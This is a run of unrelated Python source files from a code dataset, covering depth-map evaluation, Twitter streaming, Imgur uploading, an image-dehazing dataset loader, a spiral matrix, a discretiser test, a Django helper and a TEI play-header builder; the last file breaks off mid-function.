+{"seq_id":"52475150","text":"\n\nimport os\nimport cv2\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom PIL import Image\nBASE_DIR = 'E:\\Projects\\Datasets\\\\realsense4'\n# BASE_DIR_121 = 'E:\\Experimrnt\\Completion\\Rand'\nfile_list = ['%s/%s' % (BASE_DIR, i) for i in os.listdir(BASE_DIR)]\ncol_list = [i for i in file_list if 'col' in i]\nraw_list = [i for i in file_list if 'sparse' in i]\ngt_list = [i for i in file_list if 'gt' in i]\nour_169_list = [i for i in file_list if 'our' in i]\ncspn_list = ['%s/%s' %('E:\\eval_result', i) for i in os.listdir('E:\\eval_result') if 'depth_pred' in i]\n# our_121_list = ['%s/%s' % (BASE_DIR_121, i) for i in os.listdir(BASE_DIR_121)]\n# ddc_list = [i for i in file_list if 'ddc' in i]\n# dd_list = [i for i in file_list if 'ddc' in i]\nlen_ = len(col_list)\n\ndef depth2color(depth, cmap='jet'):\n    depth = np.squeeze(depth)\n\n    min_ = np.min(depth)\n    max_ = np.max(depth)\n\n    res = (depth - min_) / (max_ - min_)\n\n    import matplotlib\n    cmapper = matplotlib.cm.get_cmap(cmap)\n    res = cmapper(res, bytes=True)  # (nxmx4)\n    # res = np.concatenate([c, res[:, :, :3]], axis=1)\n    return res[:, :, :3]\n\ndef make_grid(arr_lst, pad_value=1, pad_size=10):\n    shape_ = arr_lst[0].shape\n    pad_ = np.ones((shape_[0], pad_size, 3), dtype=np.uint8)*pad_value*255\n    out = []\n    for i in range(len(arr_lst)):\n        out.append(arr_lst[i])\n        if i < len(arr_lst)-1:\n            out.append(pad_)\n    return np.concatenate(out, axis=1)\n\ndef crop(img, res_shape=None):\n    img  =Image.fromarray(img)\n    res_wid, res_hei = img.size\n    res_wid, res_hei = res_wid - res_wid%16, res_hei - res_hei%16\n\n    img_wid, img_hei = img.size\n\n    start_wid, start_hei = (img_wid - res_wid)//2, (img_hei - res_hei)//2\n    box = (start_wid, start_hei, start_wid+res_wid, start_hei+res_hei)  # 设置要裁剪的区域\n    return np.array(img.crop(box))\n\n\ndef static_data_(gt, pred):\n    abs_diff = np.abs(gt - pred)\n\n    rel_loss = np.sum(abs_diff/gt)\n    rmse_loss = np.sum(np.square(abs_diff))\n    log10_loss = np.sum(np.abs(np.log10(gt) - np.log10(pred)))\n\n    maxRatio = np.concatenate([np.expand_dims(gt / pred, axis=-1), np.expand_dims(pred / gt, axis=-1)], axis=-1)\n    maxRatio = np.max(maxRatio, axis=-1)\n\n    sigma1_loss = np.sum(maxRatio < 1.25)\n    sigma2_loss = np.sum(maxRatio < 1.25 ** 2)\n    sigma3_loss = np.sum(maxRatio < 1.25 ** 3)\n    return rel_loss, rmse_loss, log10_loss, sigma1_loss, sigma2_loss, sigma3_loss\n\ndef static_data(gt, pred):\n    abs_diff = np.abs(gt - pred)\n\n    rel_loss = np.mean(abs_diff/gt)\n    rmse_loss = np.mean(np.square(abs_diff))\n    log10_loss = np.mean(np.abs(np.log10(gt) - np.log10(pred)))\n\n    maxRatio = np.concatenate([np.expand_dims(gt / pred, axis=-1), np.expand_dims(pred / gt, axis=-1)], axis=-1)\n    maxRatio = np.max(maxRatio, axis=-1)\n\n    sigma1_loss = np.mean(maxRatio < 1.25)\n    sigma2_loss = np.mean(maxRatio < 1.25 ** 2)\n    sigma3_loss = np.mean(maxRatio < 1.25 ** 3)\n    return rel_loss, rmse_loss, log10_loss, sigma1_loss, sigma2_loss, sigma3_loss\n\nour_total_rel_loss_121 = 0\nour_total_rmse_loss_121 = 0\nour_total_log_loss_121 = 0\nour_total_sigma1_loss_121 = 0\nour_total_sigma2_loss_121 = 0\nour_total_sigma3_loss_121 = 0\n\nour_total_rel_loss_169 = 0\nour_total_rmse_loss_169 = 0\nour_total_log_loss_169 = 0\nour_total_sigma1_loss_169 = 0\nour_total_sigma2_loss_169 = 0\nour_total_sigma3_loss_169 = 0\n\n\nRES_DIR = 'E:\\Experimrnt\\Completion\\RandRemove-pseudo'\ncount = 0\nfor i in range(0,len_):\n    rgb = cv2.imread(col_list[i])[:, :, (2,1,0)]\n    raw = cv2.imread(raw_list[i], -1)\n    gt = cv2.imread(gt_list[i], -1) / 1000.\n    our_169 = cv2.imread(our_169_list[i], -1) / 1000.\n    # our_121 = cv2.imread(our_121_list[i], -1) / 1000.\n    # dd = cv2.imread(dd_list[i], -1)\n    cspn = cv2.imread('E:\\eval_result/%d_depth_pred_16.png' %i, -1) /1000.\n\n    # print(cspn_list[i])\n    # print(our_169.shape)\n    crop_pixel_w, crop_pixel_h= 10, 20\n    our_169 = our_169[crop_pixel_w:-crop_pixel_w, crop_pixel_h:-crop_pixel_h]\n    cspn = cv2.resize(cspn, (our_169.shape[1], our_169.shape[0] ))\n\n    rgb = crop(rgb)\n    raw = crop(raw)\n    gt = crop(gt)\n\n    gt = gt[crop_pixel_w:-crop_pixel_w, crop_pixel_h:-crop_pixel_h]\n    raw = raw[crop_pixel_w:-crop_pixel_w, crop_pixel_h:-crop_pixel_h]\n    rgb = rgb[crop_pixel_w:-crop_pixel_w, crop_pixel_h:-crop_pixel_h]\n\n    res = np.concatenate([cspn, our_169, gt], axis=1)\n\n    res = depth2color(res)\n\n    res = np.split(res, 3, axis=1)\n\n    mask = raw!=0\n    mask = np.expand_dims(mask, -1)\n    mask = np.concatenate([mask, mask, mask], axis=-1)\n    raw = res[2]*mask\n\n    res = make_grid([rgb, raw, res[0], res[1], res[2]])\n    cv2.imwrite('%s/%04d-pseudo.png' % ('E:\\Experimrnt\\Completion\\Sparse', i), res[:,:,(2,1,0)])\n    print(i)\n    # plt.imshow(res)\n    # plt.show()\n    continue\n    # dd = crop(dd)\n    # print(np.mean(our_121-our_169))\n\n    rel_loss, rmse_loss, log10_loss, sigma1_loss, sigma2_loss, sigma3_loss = static_data(gt, cspn)\n\n    # print(rel_loss)\n    our_total_rel_loss_121 += rel_loss\n    our_total_rmse_loss_121 += rmse_loss\n    our_total_log_loss_121 += log10_loss\n    our_total_sigma1_loss_121 += sigma1_loss\n    our_total_sigma2_loss_121 += sigma2_loss\n    our_total_sigma3_loss_121 += sigma3_loss\n\n    rel_loss, rmse_loss, log10_loss, sigma1_loss, sigma2_loss, sigma3_loss = static_data(gt, our_169)\n    # print(rel_loss)\n    our_total_rel_loss_169 += rel_loss\n    our_total_rmse_loss_169 += rmse_loss\n    our_total_log_loss_169 += log10_loss\n    our_total_sigma1_loss_169 += sigma1_loss\n    our_total_sigma2_loss_169 += sigma2_loss\n    our_total_sigma3_loss_169 += sigma3_loss\n    count+=1\n\n    print(count)\n    # if count > 1000:\n    #     break\n\n# print(\n#     'rel:%.3f,   rms:%.3f,    log10:%.3f,    delta1:%.3f,  delta2:%.3f,  delta3:%.3f' % (our_total_rel_loss_121 / count,\n#                                                                                          np.sqrt(\n#                                                                                              our_total_rmse_loss_121 / count),\n#                                                                                          our_total_log_loss_121 / count,\n#                                                                                          our_total_sigma1_loss_121 / count,\n#                                                                                          our_total_sigma2_loss_121 / count,\n#                                                                                          our_total_sigma3_loss_121 / count,))\n#\n# print(\n#     'rel:%.3f,   rms:%.3f,    log10:%.3f,    delta1:%.3f,  delta2:%.3f,  delta3:%.3f' % (our_total_rel_loss_169 / count,\n#                                                                                          np.sqrt(\n#                                                                                              our_total_rmse_loss_169 / count),\n#                                                                                          our_total_log_loss_169 / count,\n#                                                                                          our_total_sigma1_loss_169 / count,\n#                                                                                          our_total_sigma2_loss_169 / count,\n#                                                                                          our_total_sigma3_loss_169 / count,))\n\n    # res = np.concatenate([dd, our_169, gt], axis=1)\n    #\n    # res = depth2color(res)\n    #\n    # res = np.split(res, 3, axis=1)\n    #\n    # mask = raw!=0\n    # mask = np.expand_dims(mask, -1)\n    # mask = np.concatenate([mask, mask, mask], axis=-1)\n    # raw = res[2]*mask\n    #\n    # res = make_grid([rgb, raw, res[0], res[1], res[2]])\n    #\n    # cv2.imwrite('%s/%04d-pseudo.png' % (RES_DIR, i), res[:,:,(2,1,0)])\n    #\n    # print()\n\n    # plt.imshow(res)\n    # plt.show()\n\n\n","sub_path":"pytorch_version/DepthCompletion/MyUtils/compare_sparse.py","file_name":"compare_sparse.py","file_ext":"py","file_size_in_byte":7900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"640455815","text":"__author__ = 'Kamil Cieślak'\n\nimport string\nimport types\nfrom twython import TwythonStreamer\n\n\nclass TwitterStream(object):\n    def __init__(self,\n                 api_key: string,\n                 api_secret: string,\n                 access_token: string,\n                 access_token_secret: string):\n        \"\"\"\n        :rtype : TwitterStream\n        :param api_key: Twitter API Key\n        :param api_secret: Twitter API Secret\n        :param access_token: Twitter OAuth1 Access Token\n        :param access_token_secret: Twitter OAuth1 Access Token Secret\n        \"\"\"\n\n        self._streamer = TwythonStreamer(api_key, api_secret, access_token, access_token_secret)\n        self._streamer.on_success = types.MethodType(self.on_success, self._streamer)\n        self._streamer.on_error = types.MethodType(self.on_error, self._streamer)\n\n    def fetch_filter_statuses(self, fetch_filter, on_success=None, on_error=None):\n        if on_success is not None:\n            self._streamer.on_success = types.MethodType(on_success, self._streamer)\n\n        if on_error is not None:\n            self._streamer.on_error = types.MethodType(on_error, self._streamer)\n\n        self._streamer.statuses.filter(**fetch_filter)\n\n    def fetch_sample_statuses(self, fetch_filter, on_success=None, on_error=None):\n        if on_success is not None:\n            self._streamer.on_success = types.MethodType(on_success, self._streamer)\n\n        if on_error is not None:\n            self._streamer.on_error = types.MethodType(on_error, self._streamer)\n\n        self._streamer.statuses.sample(**fetch_filter)\n\n    # noinspection PyUnusedLocal,PyMethodMayBeStatic\n    def on_success(self, obj: TwythonStreamer, data: dict):\n        print(\"Data: \" + str(data))\n\n    # noinspection PyUnusedLocal,PyMethodMayBeStatic\n    def on_error(self, obj: TwythonStreamer, status_code: int, data: dict):\n        print(\"[ERROR] Code: \" + str(status_code) + \", Data: \" + str(data))","sub_path":"twitter_stream.py","file_name":"twitter_stream.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"88383988","text":"from imgurpython import ImgurClient\n#import urllib2\nimport urllib\nimport os\nimport json\nimport sys\nimport getopt\n\nclient_id = '.............'\nclient_secret = '.............'\nx_mash_key = '.............'\n\ndef img_upload(client, img_path, \n\t\t\t   album_id, \n\t\t\t   title = \"Hi\", \n\t\t\t   description = \"Hello World\", \n\t\t\t   dump_path = \"./dump.txt\"):\n\t\t\t\n\tconf = {\"album\" : album_id,\n\t\t \"description\": description,\n\t\t \"title\" : title,\n\t\t \"name\" : title}\n\t\n\t\n\ttry:\n\t\tres = client.upload_from_path(img_path, config = conf, anon = False)\n\t\td = open(dump_path, \"a\")\n\t\tif res != None:\n\t\t\td.writelines(str(res) + \"\\n\")\n\t\telse:\n\t\t\tconf[\"img_path\"] = img_path\n\t\t\td.writelines(\"NONE : \" + str(conf) + \"\\n\") \n\t\td.close()\n\t\treturn res\n\texcept:\n\t\td = open(dump_path, \"a\")\n\t\td.writelines(\"FILE UPLOAD ERROR! \" + img_path + \"\\n\")\n\t\td.close()\n\ndef update_img_info(client, img_id):\n\t# http://imgur.com/vRXjLPO\t\n\t#\"https://imgur-apiv3.p.mashape.com/3/image/{id}\"\n\n\treq_url = \"https://imgur-apiv3.p.mashape.com/3/image/%s\" % img_id\n\tprint(req_url)\n\treq = urllib2.Request(req_url, headers = {\n\t\t\t\t\"X-Mashape-Key\" : x_mash_key,\n\t\t\t\t\"Authorization\" : \"Bearer \" + client.auth.get_current_access_token(),\n\t\t\t\t\"Accept\": \"application/json\",\n\t\t\t\t\"name\" : \"PLZ\"\n\t\t\t})\n\tres_data = urllib2.urlopen(req, timeout = 2000)\n\tres_json = json.loads(res_data.read())\n\tprint(res_json)\n\ndef get_x_mash_limit(client):\n\treq_url = \"https://imgur-apiv3.p.mashape.com/3/credits\"\n\t\t#\"https://imgur-apiv3.p.mashape.com/3/account/%s/album/%s\" % (user, album_id)\n\treq = urllib2.Request(req_url, headers = {\n\t\t\t\"X-Mashape-Key\" : x_mash_key,\n\t\t\t\"Authorization\" : \"Bearer \" + client.auth.get_current_access_token(),\n\t\t\t\"Accept\": \"application/json\"\n\t\t})\n\tres_data = urllib2.urlopen(req, timeout = 5000)\n\t\n\t# print(\"-----------\")\n\t# print(res_data.info().getheader(\"X-Ratelimit-Uploads-Remaining\"))\n\tres_json = json.loads(res_data.read())\n\t# print(res_json[\"data\"][\"UserReset\"])\n\treturn (res_data.info().getheader(\"X-Ratelimit-Uploads-Remaining\"), res_json[\"data\"][\"UserReset\"])\n\n\ndef get_access_token():\n\n\tif not os.path.exists(\"./token.txt\"):\n\t\tprint(\"Need Token File. Run make_credential.py\")\n\t\tsys.exit(2)\n\n\ttoken_file = open(\"./token.txt\", \"r\")\n\taccess = token_file.readline().strip().split(\" : \")[1]\n\trefresh = token_file.readline().strip().split(\" : \")[1]\n\ttoken_file.close()\n\t\n\treturn access, refresh\n\ndef main(s_argv):\n\targv = s_argv\n\t\n\targv[\"user\"] = \"hurderella\"\n\targv[\"album\"] = \"youjung_ioi\"#\"chungha_ioi\"\n\targv[\"dump\"] = \"dump.txt\"\n\targv[\"save_path\"] = \"./save_list.txt\"\n\targv[\"complete_path\"] = \"./complete.txt\"\n\t\n\t\n\tname_list = []\n\timg_oriUrl_list = []\n\tboard_url = \"\"\n\tcount = 1\n\tname_flag = False\n\n\t#img_upload(access, refresh)\n\n\t_access_token, _refresh_token = get_access_token()\n\tprint(_access_token)\n\tprint(_refresh_token)\n\tclient = ImgurClient(client_id, client_secret)\n\tclient.set_user_auth(_access_token, _refresh_token)\n\tclient.mashape_key = x_mash_key\n\t#print(client.credits[\"ClientLimit\"])\n\t#print(\"usr : %s, album : %s\" % (argv[\"user\"], argv[\"album\"]))\n\t# album_id = get_album_id(client, argv[\"user\"], argv[\"album\"])\n\n\tx_mash_info = get_x_mash_limit(client)\n\tremain = int(x_mash_info[0])\n\n\t\n\n\t#if album_id == \"\" and album_id == None:\n\t#\tprint(\"Need Valid Album Name\")\n\t#\tsys.exit(2)\n\t\t\n\t#img_upload(client, \"./image_1_2.gif\", album_id, \"test\", \"test2\")\n\n\t#log_file = open(argv[\"inlog\"], \"r\")\n\t##log_file = open(\"./test_case.txt\", \"r\")\n\t\n\t#log = log_file.readlines()\n\t#for line in log:\n\t#\tprint(line)\n\t#\tif line[0:2] == \"No\":\n\t#\t\tstart = int(line.split(\" : \")[1].split(\"-\")[0])\n\t#\t\tif start < int(argv[\"go\"]) :\n\t#\t\t\tcontinue\n\t#\t\tif len(name_list) > 0:\n\t#\t\t\tprint(board_url)\n\t#\t\t\tfor i in range(len(name_list)):\n\t#\t\t\t\tprint(\"upload name : \" + name_list[i])\n\t#\t\t\t\tprint(\"upload img ori : \" + img_oriUrl_list[i])\n\t#\t\t\t\tres = img_upload(client, \n\t#\t\t\t\t\t\t\timg_source + name_list[i], \n\t#\t\t\t\t\t\t\talbum_id,\n\t#\t\t\t\t\t\t\tname_list[i],\n\t#\t\t\t\t\t\t\tboard_url,\n\t#\t\t\t\t\t\t\targv[\"dump\"])\n\t#\t\t\t\tprint(\"------------------\")\n\t#\t\t\tname_list = []\n\t#\t\t\timg_oriUrl_list =[]\n\t#\t\t\tboard_url = \"\"\n\t\t\t\n\t#\t\tcount += 1\n\t#\t\tif count > int(argv[\"end\"]):\n\t#\t\t\tbreak\n\t#\telif line[0:11] == \"http://gall\":\n\t#\t\tboard_url = line\n\t#\telif line[0:7] == \"path ::\":\n\t#\t\timg_oriUrl_list.append(line.split(\" :: \")[1])\n\t#\t\tname_flag = True\n\t#\telif line[0:7] == \"path ch\":\n\t#\t\timg_oriUrl_list.pop()\n\t#\t\timg_oriUrl_list.append(line.split(\" => \")[1])\n\t#\telif name_flag :\n\t#\t\tfilename = os.path.basename(line).rsplit(\"\\n\")[0].encode('euc-kr')\n\t#\t\tprint(\"w: \" + filename)\n\t#\t\tname_list.append(filename)\n\t#\t\tname_flag = False\n\t\n\t#for i in range(len(name_list)):\n\t#\tprint(\"upload name : \" + name_list[i])\n\t#\tprint(\"upload img ori : \" + img_oriUrl_list[i])\n\t#\timg_upload(client, \n\t#\t\t\t\timg_source + name_list[i], \n\t#\t\t\t\talbum_id,\n\t#\t\t\t\tname_list[i],\n\t#\t\t\t\tboard_url,\n\t#\t\t\t\targv[\"dump\"])\n\t#\tprint(\"------------------\")\n\t\t\n\t#log_file.close()\n\t\nif __name__ == \"__main__\":\n\treload(sys)\n\tsys.setdefaultencoding('utf-8')\n\n\ttry:\n\t\targv = dict()\n\t\t#opts, args = getopt.getopt(sys.argv[1:], \n\t\t#\t\t\t\t\t\t\t\"hi:d:e:a:u:s:g:\", \n\t\t#\t\t\t\t\t\t\t[\"inlog=\", \"dump=\", \n\t\t#\t\t\t\t\t\t\t\"go=\", \"end=\", \"album=\", \n\t\t#\t\t\t\t\t\t\t\"user=\", \"source=\"])\n\t\t#for opt, arg in opts:\n\t\t#\tif opt in (\"-h\", \"--help\"):\n\t\t#\t\tprint(\"--inlog=[parsing file]\") \n\t\t#\t\tprint(\"--dump=[dump file]\")\n\t\t#\t\tprint(\"--end=[parsing end]\")\n\t\t#\t\tprint(\"--album=[upload album]\")\n\t\t#\t\tprint(\"--user=[user id]\")\n\t\t#\t\tprint(\"--source=[source dir]\")\n\t\t#\t\tsys.exit(0)\n\t\t#\telif opt in (\"-i\", \"--inlog\"):\n\t\t#\t\targv[\"inlog\"] = arg\n\t\t#\telif opt in (\"-d\", \"--dump\"):\n\t\t#\t\targv[\"dump\"] = arg\n\t\t#\telif opt in(\"-e\", \"--end\"):\n\t\t#\t\targv[\"end\"] = arg\n\t\t#\telif opt in(\"-a\", \"--album\"):\n\t\t#\t\targv[\"album\"] = arg\n\t\t#\telif opt in(\"-u\", \"--user\"):\n\t\t#\t\targv[\"user\"] = arg\n\t\t#\telif opt in(\"-s\", \"--source\"):\n\t\t#\t\targv[\"source\"] = arg\n\t\t#\telif opt in(\"-g\", \"--go\"):\n\t\t#\t\targv[\"go\"] = arg\n\t\t\n\t\t#if len(argv) < 7:\n\t\t#\traise getopt.GetoptError(\"Few Argument\")\n\t\t\n\t\tmain(argv)\n\n\n\n\texcept getopt.GetoptError as ge:\n\t\tprint(\"Need Valid Argument : \" + ge.msg);\n\t\n\t\n\t\n","sub_path":"crawler_ioi_dc/crawler_ioi_dc/imgur_uploader.py","file_name":"imgur_uploader.py","file_ext":"py","file_size_in_byte":5976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"402203462","text":"\n\"\"\"\npaper: Pyramid Channel-based Feature Attention Network for image dehazing \nfile: datasets.py\nabout: build the training dataset and testing dataset\nauthor: Tao Wang\ndate: 06/13/20\n\"\"\"\n\n# --- Imports --- #\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, datasets\nfrom PIL import Image\nfrom skimage import io, transform\nimport os\nimport numpy as np\nimport random\nimport torchvision\n\n\nclass DehazingDataset(Dataset):\n    def __init__(self, root_dir, crop=False, crop_size=128, multi_scale=False, rotation=False, color_augment=False, transform=None, train = True):\n        \"\"\"\n        Args:\n             split_file: Path to the split file\n             root_dir: Directory with all the images\n             transform: Optional transform to be appeared on a sample\n        \"\"\"\n        if train:\n            # data_list = root_dir + 'train.txt'\n            data_list = root_dir + 'trainlist.txt'\n        else:\n            # data_list = root_dir + 'val.txt'\n            data_list = root_dir + 'val_list.txt'\n\n        with open(data_list) as f:\n            contents = f.readlines()\n            haze_image_files = [i.strip() for i in contents]\n            clear_image_files = [i.split('_')[0] + '.png' for i in haze_image_files]    \n        \n        self.hazy_image_files = haze_image_files\n       \n        self.clear_image_files = clear_image_files\n        self.root_dir = root_dir\n        self.transform = transform        \n        self.crop = crop\n        self.crop_size = crop_size\n        self.multi_scale = multi_scale\n        self.rotation = rotation\n        self.color_augment = color_augment\n        self.rotate90 = transforms.RandomRotation(90)  \n        self.rotate45 = transforms.RandomRotation(45)    \n        self.train = train\n    def __len__(self):\n        return len(self.hazy_image_files)\n\n    def __getitem__(self, idx):\n\n        haze_name = self.hazy_image_files[idx]\n        clear_name = self.clear_image_files[idx]\n        hazy_image = Image.open(self.root_dir + 'hazy/' + haze_name).convert('RGB')\n        clear_image = Image.open(self.root_dir + 'clear/' + clear_name).convert('RGB')\n\n        if self.rotation:\n            degree = random.choice([90, 180, 270])\n            hazy_image = transforms.functional.rotate(hazy_image, degree) \n            clear_image = transforms.functional.rotate(clear_image, degree)\n\n        if self.color_augment:\n            hazy_image = transforms.functional.adjust_gamma(hazy_image, 1)\n            clear_image = transforms.functional.adjust_gamma(clear_image, 1)                           \n            sat_factor = 1 + (0.2 - 0.4*np.random.rand())\n            hazy_image = transforms.functional.adjust_saturation(hazy_image, sat_factor)\n            clear_image = transforms.functional.adjust_saturation(clear_image, sat_factor)\n            \n        if self.transform:\n            hazy_image = self.transform(hazy_image)\n            clear_image = self.transform(clear_image)\n\n        if self.crop:\n            W = hazy_image.size()[1]\n            H = hazy_image.size()[2] \n\n            Ws = np.random.randint(0, W-self.crop_size-1, 1)[0]\n            Hs = np.random.randint(0, H-self.crop_size-1, 1)[0]\n            \n            hazy_image = hazy_image[:,Ws:Ws+self.crop_size,Hs:Hs+self.crop_size]\n            clear_image = clear_image[:,Ws:Ws+self.crop_size,Hs:Hs+self.crop_size]\n                       \n        if self.multi_scale:\n            H = clear_image.size()[1]\n            W = clear_image.size()[2]\n            hazy_image_s1 = transforms.ToPILImage()(hazy_image)\n            clear_image_s1 = transforms.ToPILImage()(clear_image)\n            hazy_image_s2 = transforms.ToTensor()(transforms.Resize([H/2, W/2])(hazy_image_s1))\n            clear_image_s2 = transforms.ToTensor()(transforms.Resize([H/2, W/2])(clear_image_s1))\n            hazy_image_s3 = transforms.ToTensor()(transforms.Resize([H/4, W/4])(hazy_image_s1))\n            clear_image_s3 = transforms.ToTensor()(transforms.Resize([H/4, W/4])(clear_image_s1))\n            hazy_image_s1 = transforms.ToTensor()(hazy_image_s1)\n            clear_image_s1 = transforms.ToTensor()(clear_image_s1)\n            return {'hazy_image_s1': hazy_image_s1, 'hazy_image_s2': hazy_image_s2, 'hazy_image_s3': hazy_image_s3, 'clear_image_s1': clear_image_s1, 'clear_image_s2': clear_image_s2, 'clear_image_s3': clear_image_s3}\n        else:\n            if self.train:\n                return {'hazy_image': hazy_image, 'clear_image': clear_image}\n            else:\n                return {'hazy_image': hazy_image, 'clear_image': clear_image, 'haze_name': haze_name}\n","sub_path":"datasets/.ipynb_checkpoints/datasets-checkpoint.py","file_name":"datasets-checkpoint.py","file_ext":"py","file_size_in_byte":4615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"540081911","text":"n = int(input())\n\nmtx = [[0 for j in range(n)] for i in range(n)]\n\nr, k = 0, 0\n# 1 - Направление вправо\n# 2 - Направление вниз\n# 3 - Направление влево\n# 4 - Направление вверх\ndir = 1\nrow = n\ncol = n\nfor i in range(n**2):\n    if dir == 1 and k != col-1:\n        mtx[r][k] = i+1\n        k += 1\n    elif k == col-1 and r != row-1:\n        dir = 2\n        mtx[r][k] = i+1\n        r += 1\n    elif r == row-1 and k !=0:\n        dir = 3\n        mtx[r][k] = i+1\n        k += -1\n    elif k == 0 and r != 0:\n        dir = 4\n        mtx[r][k] = i+1\n        r += -1\n\n\n","sub_path":"block_2/task_15.py","file_name":"task_15.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"490144227","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.datasets import load_boston\n\nfrom feature_engine.discretisation import ArbitraryDiscretiser\n\n\ndef test_arbitrary_discretiser():\n    boston_dataset = load_boston()\n    data = pd.DataFrame(boston_dataset.data, columns=boston_dataset.feature_names)\n    user_dict = {\"LSTAT\": [0, 10, 20, 30, np.Inf]}\n\n    data_t1 = data.copy()\n    data_t2 = data.copy()\n    data_t1[\"LSTAT\"] = pd.cut(data[\"LSTAT\"], bins=[0, 10, 20, 30, np.Inf])\n    data_t2[\"LSTAT\"] = pd.cut(data[\"LSTAT\"], bins=[0, 10, 20, 30, np.Inf], labels=False)\n\n    transformer = ArbitraryDiscretiser(\n        binning_dict=user_dict, return_object=False, return_boundaries=False\n    )\n    X = transformer.fit_transform(data)\n\n    # init params\n    assert transformer.return_object is False\n    assert transformer.return_boundaries is False\n    # fit params\n    assert transformer.variables_ == [\"LSTAT\"]\n    assert transformer.binner_dict_ == user_dict\n    # transform params\n    pd.testing.assert_frame_equal(X, data_t2)\n\n    transformer = ArbitraryDiscretiser(\n        binning_dict=user_dict, return_object=False, return_boundaries=True\n    )\n    X = transformer.fit_transform(data)\n    pd.testing.assert_frame_equal(X, data_t1)\n","sub_path":"tests/test_discretisation/test_arbitrary_discretiser.py","file_name":"test_arbitrary_discretiser.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"473823011","text":"from urllib.parse import urlparse\n\nfrom django.http import HttpRequest\n\n\ndef get_site_context(request: HttpRequest):\n    context = {}\n\n    # check which site mode we are running in\n    url = urlparse(request.build_absolute_uri())\n    if url.hostname is 'urbanplanet.dyndns.org':\n        context['develmode'] = 'false'\n    else:\n        context['develmode'] = 'true'\n\n    return context\n","sub_path":"archive/webclient/main/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"350074644","text":"#coding=utf8\n\n\"\"\"\nUtilities for play encoding.\n\"\"\"\n\nfrom lxml import etree\nimport os\nimport pandas as pd\nfrom pandas_ods_reader import read_ods\nimport re\nimport sys\nfrom xml.sax import saxutils\n\nsys.path.append(\"..\")\n\nimport config as cf\nimport oconfig as ocf\n\n\ndef read_character_info(fname, sheetname=ocf.character_sheet_name):\n    \"\"\"Read character infos into a dataframe\"\"\"\n    assert(os.path.exists(fname))\n    df = read_ods(fname, sheetname)\n    return df\n\n\ndef read_header_info(fname=cf.cast_list_data,\n                     sheetname=ocf.header_sheet_name):\n    \"\"\"Read metadata for teiHeader into a dataframe\"\"\"\n    df = read_ods(fname, sheetname)\n    return df\n\n\ndef get_play_metadata_by_id(df, play_id):\n    \"\"\"\n    Given a dataframe with metadata for different plays,\n    return the row for the given play_id\n    \"\"\"\n    dfrow = df.loc[df['workId'] == play_id]\n    assert len(dfrow.index) == 1\n    return dfrow.iloc[0]\n\n\ndef format_sheet_metadata(txt):\n    \"\"\"Format metadata for teiHeader based on the metadata spreadsheet\"\"\"\n    txt = txt.replace(\"^\", \"\")\n    txt = re.sub(r\"~+\", \"\", txt)\n    return txt\n\n\ndef create_resp_stmt(od):\n    \"\"\"\n    Create resp_stmt element from an :obj:`OrderedDict`\n    \"\"\"\n    keep = [(saxutils.escape(na), saxutils.escape(rs))\n            for (na, rs) in od if od[(na, rs)] is True]\n    out = []\n    for (name, resp) in keep:\n        out.append(f\"<respStmt><name>{name}</name><resp>{resp}</resp></respStmt>\")\n    return out\n\n\ndef read_encoding_desc_from_file(fpath=cf.encoding_desc_fpath):\n    \"\"\"\n    Read text for the `<encodingDesc>` element from a file.\n\n    Parameters\n    ----------\n    fpath : str, optional\n        Path to the file that contains the string for the `<encodingDesc>` element.\n        Default path is given in module :obj:`config`\n\n    Returns\n    -------\n    str\n        The text\n    \"\"\"\n    return open(fpath, mode=\"r\", encoding=\"utf8\").read()\n\n\ndef create_tei_header(row, other=None):\n    \"\"\"\n    Create teiHeader element based on informations in a dataframe row\n    and in an optional dictionary.\n    The row can be retrieved with :func:`get_play_metadata_by_id`.\n    \"\"\"\n    hdr = etree.Element(\"teiHeader\")\n    # structure\n    fileDesc = etree.Element(\"fileDesc\")\n    #  fileDesc\n    titleStmt = etree.Element(\"titleStmt\")\n    publicationStmt = etree.Element(\"publicationStmt\")\n    sourceDesc = etree.Element(\"sourceDesc\")\n    #  titleStmt\n    etree.SubElement(titleStmt, \"title\", type=\"main\").text = \\\n        format_sheet_metadata(row.titleMain)\n    etree.SubElement(titleStmt, \"title\", type=\"sub\").text = \\\n        format_sheet_metadata(row.titleSub)\n    assert not pd.isnull(row.authorKeyWikidata)\n    try:\n        author_keystr = \" \".join((f\"wikidata:{row.authorKeyWikidata}\",\n                                  f\"bnf:{str(int(row.authorKeyBnf))}\"))\n    except ValueError:\n        author_keystr = f\"wikidata:{row.authorKeyWikidata}\"\n    etree.SubElement(titleStmt, \"author\", key=author_keystr).text = row.author\n    for resp in create_resp_stmt(other[\"respStmt\"]):\n        titleStmt.append(etree.fromstring(resp))\n    #  publicationStmt\n    etree.SubElement(publicationStmt, \"publisher\").text = \\\n        \"LiLPa - Université de Strasbourg\"\n    availability_str = other[\"availability\"]\n    publicationStmt.append(etree.fromstring(availability_str))\n    wikidata_id = etree.SubElement(publicationStmt, \"idno\", type=\"wikidata\")\n    wikidata_id.text = row.wikidata\n    wikidata_id.attrib[\"{http://www.w3.org/XML/1998/namespace}base\"] = \\\n        \"https://www.wikidata.org/entity/\"\n    for ele in (titleStmt, publicationStmt):\n        fileDesc.append(ele)\n    #  sourceDesc\n    if other is not None and \"bibl\" in other:\n        row = other[\"bibl\"]\n    bibl_digi = etree.Element(\"bibl\", type=\"digitalSource\")\n    bibl_orig = etree.Element(\"bibl\", type=\"originalSource\")\n    etree.SubElement(bibl_digi, \"name\").text = \"Numistral\"\n    